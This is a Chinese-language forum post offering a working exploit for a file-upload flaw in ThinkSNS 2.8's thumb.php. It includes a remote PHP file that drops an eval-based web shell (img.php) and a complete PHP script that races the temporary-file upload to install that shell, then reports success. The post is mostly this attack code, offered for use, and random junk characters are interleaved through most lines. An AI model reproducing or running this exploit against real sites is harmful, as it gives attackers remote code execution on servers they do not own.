找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2001|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本
0 |9 B! f- U' |$ W7 _存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)" s; B1 N& T/ [( Q' y+ D: v/ c6 O
漏洞文件
1 o; Z9 q: S4 c存在漏洞的文件为:thumb.php
% Q6 X$ E7 Y1 @& V1 K* l8 J) E作者:韦鲲鹏8 O6 R+ [4 B  W0 ?/ F6 Y
1、        准备如下PHP文件并上传到服务器(自己的)。' `! w' [1 H; I7 ~7 i7 W  w
文件内容如下:
( ?8 @  m: \1 b4 Q<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>$ E; U0 k1 z" ^2 C8 S1 t+ }4 J: A9 B# P
2、        计算出临时的文件名:' v, e0 y& E9 f+ b+ {
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
, D& t; ~, \3 E1 y% c3 |& p- J" Z0 O
9 l% [8 r6 a* ~, D3、        上传临时文件。
! I- v! j. S$ Z" n4、        访问临时文件。
7 j; y: y0 k- `- o1 y; B但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)  h2 }" P! U2 [8 k' x
Exploit文件内容如下:(这个我就不详细解释了)3 A0 ?2 A# Z; ]& n# {" u
<?php
7 h: _5 ^% G* X& q1 Derror_reporting(0);
9 k7 p/ ?  l. S( ?1 w! Tset_time_limit(0);9 j, a5 H6 ]* N
ini_set(“default_socket_timeout”, 5);
) ^6 r/ B6 E, b# M# dfunction http_send($host, $port, $headers) {" f; B: V5 Z$ d& ^) L- R- O
$fp = fsockopen($host, $port);
* q/ t5 J3 Y' P. ^0 k0 W" S5 I- o0 U  Gif (!$fp) die(‘Connection -> fail’);" }( r: E' y, w" D
fputs($fp, $headers);
% |. \0 z' p6 Q1 b1 L/ ]' Ureturn $fp;
+ d# m$ A1 [0 W" P( [$ H}
1 d3 z: ]0 k7 u# G$ Yfunction http_recv($fp) {
) p4 L& \8 t7 l0 W% P$ret=”";. ]. F% w$ r9 O) J
while (!feof($fp))
$ b) [! h$ i9 H: K$ret.= fgets($fp, 1024);
, Q8 k+ U# {- c9 I( U, Bfclose($fp);
3 X1 u# f8 u; w. j6 Y; dreturn $ret;+ g8 ]; {4 X1 i. ?6 B
}
$ U# J% K1 J6 M5 E) M+ mprint “\n#  ThinkSns Arbitrary File Upload   #\n”;* @! ?' M' c" \' h- q* z2 J
print “# Discovered by 韦鲲鹏 #\n\n”;+ g" n" j( @2 |0 S9 K
if ($argc < 4) {
! v: T, s( S9 f/ ?3 A2 Iprint “Usage:   php <host> <path> <romote_url>\n”;8 l) m9 e* T5 K3 Q6 r! Z; g1 T3 _
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
# Z- P# A5 W* R9 `9 Edie();" i' b/ _2 }2 _0 l1 o- Y  e
}' Z& T. W" I9 d8 E: J3 K
$host = $argv[1];
6 l- Y3 s% i, z; S$path = $argv[2];$ C$ P( h( d- B8 G: t- I
$url = $argv[3];, Y: c% U5 ]: S2 Q- ]/ V7 ~4 ]
$i=0;; l- x0 s/ H7 n6 b/ Z: ^
//上传数据包0 y+ D& D9 t' F3 s
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;. W( m# G, U) C# m
$headers_up .= “Host: “.$host.”\r\n”;+ d; }& F  B, X& }9 t
$headers_up .= “Connection: close\r\n\r\n”;% c# a/ D7 P' j7 S' t2 ~$ o+ x
echo $headers_up;
/ o4 g1 ~; F$ `6 k) P1 i//临时文件访问数据包* p  K  s3 L6 e6 S* v3 [; a/ m
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;8 b0 f$ P& L/ {3 U' A: L* ^7 s
$headers .= “Host: “.$host.”\r\n”;) w/ [# f9 s6 j8 |
$headers .= “Connection: close\r\n\r\n”;
% j* H6 n. }7 J& r% d  Oecho $headers;' x6 c9 ~% n5 X7 i9 s. [& F+ o
while(++$i<10) {
1 r) p$ w$ e8 ~. k7 Ifclose(http_send($host, 80, $headers));
+ `( [: @) Q# Y7 v7 R}5 h' j( Q$ S4 ~" ~; }' |. `' j
fclose(http_send($host, 80, $headers_up));
, r6 R. k; ?- Hwhile(++$i<50) {. q# s9 `; P5 M; t* V& Q5 {
fclose(http_send($host, 80, $headers));" P% @+ H/ G2 k% l$ f" @" }$ g
}2 a/ ^* t# b) g. ~" b5 a) b
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
/ \0 f$ d" D/ v( l, _: G* H1 p0 L$headers .= “Host: “.$host.”\r\n”;
& j( F& s- r' s( I* z* h$headers .= “Connection: close\r\n\r\n”;
% {$ ~0 n# b9 B2 W4 J6 p( b0 S$res=http_recv(http_send($host, 80, $headers));: O% I' p" c* P" a1 g8 D
if(preg_match(‘/200 OK/’,$res)) {
, k- f6 y5 {" Cprint “Success!\n\n”;' }. O# f* j  n6 g; i% ?- T
} else {" M& Z  j# q7 O
print “Fail!\n\n”;: h+ j# }; Q' r! d% k: p
}6 |" _7 ]2 B' N, e
?>
: Z1 Z! ?+ `; ~* w. u$ E& O( L; x0 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表